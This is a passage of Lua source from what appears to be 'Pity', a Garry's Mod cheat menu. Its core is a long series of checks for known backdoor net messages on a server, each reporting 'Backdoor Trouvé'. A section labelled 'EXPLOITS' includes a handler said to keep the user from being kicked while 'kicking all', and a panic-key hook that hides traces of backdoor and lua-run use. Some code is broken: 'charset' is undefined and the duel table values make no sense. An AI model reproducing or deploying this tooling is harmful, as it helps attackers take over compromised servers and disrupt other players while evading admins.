13364chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 ),"
13365Backdoor Trouvé : "..triggeringbd )else
13366end
13367
13368if( triggeringnetcall("DarkRP_UTF8") ) then
13369triggeringbd = "DarkRP_UTF8 (non-compatible)"
13370chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 ),"
13371Backdoor Trouvé : "..triggeringbd )
13372else
13373end
13374
13375if( triggeringnetcall("fix") ) then
13376triggeringbd = "fix (non-compatible)"
13377chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 ),"
13378Backdoor Trouvé : "..triggeringbd )
13379
13380else
13381end
13382
13383if( triggeringnetcall("asunalabestwaifu") ) then
13384triggeringbd = "asunalabestwaifu (non-compatible)"
13385chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 ),"
13386Backdoor Trouvé : "..triggeringbd )
13387
13388else
13389end
13390
13391if( triggeringnetcall("__G____CAC") ) then
13392triggeringbd = "__G____CAC (non-compatible)"
13393chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 ),"
13394Backdoor Trouvé : "..triggeringbd )
13395
13396else
13397end
13398
13399if( triggeringnetcall("AbSoluT") ) then
13400triggeringbd = "AbSoluT (non-compatible)"
13401chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 ),"
13402Backdoor Trouvé : "..triggeringbd )
13403
13404else
13405end
13406
13407if( triggeringnetcall("Gamemode_get") ) then
13408triggeringbd = "Gamemode_get (non-compatible)"
13409chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 ),"
13410Backdoor Trouvé : "..triggeringbd )
13411
13412else
13413end
13414
13415if( triggeringnetcall("z") ) then
13416triggeringbd = "z (non-compatible)"
13417chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 ),"
13418Backdoor Trouvé : "..triggeringbd )
13419
13420else
13421end
13422
13423if( triggeringnetcall("cvardel") ) then
13424triggeringbd = "cvardel (non-compatible)"
13425chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 ),"
13426Backdoor Trouvé : "..triggeringbd )
13427else
13428end
13429
13430if( triggeringnetcall("jesuslebg") ) then
13431triggeringbd = "jesuslebg (non-compatible)"
13432chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 ),"
13433Backdoor Trouvé : "..triggeringbd )
13434else
13435end
13436
13437if( triggeringnetcall("effects_en") ) then
13438triggeringbd = "effects_en (non-compatible)"
13439chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 ),"
13440Backdoor Trouvé : "..triggeringbd.."" )
13441
13442else
13443end
13444
13445if( triggeringnetcall("file") ) then
13446triggeringbd = "file (non-compatible)"
13447chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 ),"
13448Backdoor Trouvé : "..triggeringbd.."" )
13449
13450else
13451end
13452
13453if( triggeringnetcall("_Warns") ) then
13454triggeringbd = "_Warns (non-compatible)"
13455chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 ),"
13456Backdoor Trouvé : "..triggeringbd.."" )
13457
13458else
13459end
13460
13461if( triggeringnetcall("_GaySploit") ) then
13462triggeringbd = "_GaySploit (non-compatible)"
13463chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 ),"
13464Backdoor Trouvé : "..triggeringbd.."" )
13465
13466else
13467end
13468
13469if( triggeringnetcall("slua") ) then
13470triggeringbd = "slua (non-compatible)"
13471chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 ),"
13472Backdoor Trouvé : "..triggeringbd.."" )
13473
13474else
13475end
13476
13477if( triggeringnetcall("BOOST_FPS") ) then
13478triggeringbd = "BOOST_FPS (non-compatible)"
13479chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 ),"
13480Backdoor Trouvé : "..triggeringbd.."" )
13481
13482else
13483end
13484
13485if( triggeringnetcall("gag") ) then
13486triggeringbd = "gag (non-compatible)"
13487chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 ),"
13488Backdoor Trouvé : "..triggeringbd.."" )
13489
13490else
13491end
13492
13493if( triggeringnetcall("_cac_") ) then
13494triggeringbd = "_cac_ (non-compatible)"
13495chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 ),"
13496Backdoor Trouvé : "..triggeringbd.."" )
13497
13498else
13499end
13500
13501if( triggeringnetcall("PlayerItemPickUp") ) then
13502triggeringbd = "PlayerItemPickUp (non-compatible)"
13503chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 ),"
13504Backdoor Trouvé : "..triggeringbd.."" )
13505
13506else
13507end
13508
13509if( triggeringnetcall("m9k_explosive") ) then
13510triggeringbd = "m9k_explosive (non-compatible)"
13511chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 ),"
13512Backdoor Trouvé : "..triggeringbd.."" )
13513else
13514end
13515
13516if( triggeringnetcall("mecthack") ) then
13517triggeringbd = "mecthack (non-compatible)"
13518chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 ),"
13519Backdoor Trouvé : "..triggeringbd.."" )
13520else
13521end
13522
13523if( triggeringnetcall("PlayerCheck") ) then
13524triggeringbd = "PlayerCheck (non-compatible)"
13525chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 ),"
13526Backdoor Trouvé : "..triggeringbd.."" )
13527else
13528end
13529
13530if( triggeringnetcall("88") ) then
13531triggeringbd = "88 (non-compatible)"
13532chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 ),"
13533Backdoor Trouvé : "..triggeringbd.."" )
13534else
13535end
13536--if triggeringbd == "" then
13537--chat.AddText(Color(0, 0, 0), "[", "Pity", "] ", Color( 255, 0, 0 ),
13538"Aucune backdoor présente" )
13539--else
13540--end
13541
13542
13543
13544
13545
13546
13547/*===========================
13548|===== Pity GUI =====|
13549===========================*/
13550surface.CreateFont("clsbtn",{font = "Arial", size = 15, weight = 0,
13551antialias = 0})
13552
13553/*================================
13554|===== Pity EXPLOITS =====|
13555=================================*/
13556
13557concommand.Add("rainbow",function()
13558hook.Add("Think", "Rainbow", function()
13559local RainbowPlayer = HSVToColor( CurTime() % 6 * 60, 1, 1 )
13560LocalPlayer():SetWeaponColor( Vector( RainbowPlayer.r / 255,
13561RainbowPlayer.g / 255, RainbowPlayer.b / 255 ) )
13562LocalPlayer():SetPlayerColor( Vector( RainbowPlayer.r / 255,
13563RainbowPlayer.g / 255, RainbowPlayer.b / 255 ) )
13564end )
13565end )
13566
13567function random_string(length)
13568math.randomseed(os.time())
13569
13570if length > 0 then
13571return random_string(length - 1) .. charset[math.random(1, #charset)]
13572else
13573return ""
13574end
13575end
13576
13577local s = {}
13578s.duel = {}
13579s.duel[1] = table.Random( player.GetAll() )
13580s.duel[2] = table.Random( player.GetAll() )
13581s.duel[2] = 3
13582s.duel[3] = -9999999
13583
13584
13585
13586
13587
13588//////////// [CLEAR CHAT] ////////////
13589
13590function clearchat()
13591for i = 0, 100 do
13592chat.AddText(" ")
13593end
13594end
13595
13596//////////// [VAPE] ////////////
13597
13598function Vape()
13599timer.Simple(0, function() RunConsoleCommand("+attack") end )
13600timer.Simple(5.134, function() RunConsoleCommand("-attack") end )
13601end
13602concommand.Add("vape", Vape)
13603concommand.Add("clearchat", clearchat)
13604
13605function Initialize()
13606net.Receive("DL_Answering_global", function(_len)end) // Stop
13607LocalPlayer from getting kicked whilst kicking all
13608net.Receive( "metro_notification",function() // Disable Metro
13609Notification
13610return
13611end)
13612
13613//////////// Font Creation ////////////
13614--
13615surface.CreateFont( "Arial", {
13616font = "Arial",
13617size = 18,
13618} )
13619--
13620surface.CreateFont( "Calibri-sm", {
13621font = "Calibri",
13622size = 15,
13623} )
13624--
13625surface.CreateFont( "Calibri-l", {
13626font = "Calibri",
13627size = 21,
13628} )
13629--
13630surface.CreateFont( "tahoma", {
13631font = "Tahoma",
13632size = 15,
13633} )
13634--
13635end
13636Initialize(); // Initializes basic shit for when menu is loaded.
13637
13638
13639
13640----------------------
13641concommand.Add( "fiji_clearbd", function() -- fiji_sv_existmen
13642print("\n")
13643end)
13644
13645concommand.Add( "fiji_clearluarun", function() -- fiji_sv_existmen
13646print("\n")
13647end)
13648
13649concommand.Add( "fiji_clearconsole", function() -- fiji_sv_existmen
13650print("\n")
13651end)
13652
13653hook.Add("Think", "catBOT", function(ucmd, origin, angles, calcview,
13654fov, p, o, a, f, aaaaa )
13655if !btnCooldown || CurTime() > btnCooldown then
13656if fiji_sv_existmen:GetInt() == 0 then
13657if(input.IsKeyDown(KEY_LALT))then
13658LocalPlayer():ConCommand("pity")
13659else end
13660elseif(input.IsKeyDown(KEY_LALT))then
13661LocalPlayer():ConCommand("clear_pity")
13662LocalPlayer():ConCommand("fiji_clearbd")
13663LocalPlayer():ConCommand("fiji_clearluarun")
13664LocalPlayer():ConCommand("fiji_clearespent")
13665LocalPlayer():ConCommand("fiji_clearconsole")
13666LocalPlayer():ConCommand("fiji_sv_existmen 0")
13667end
13668btnCooldown = CurTime() + 0.5
13669end
13670end)
13671
13672--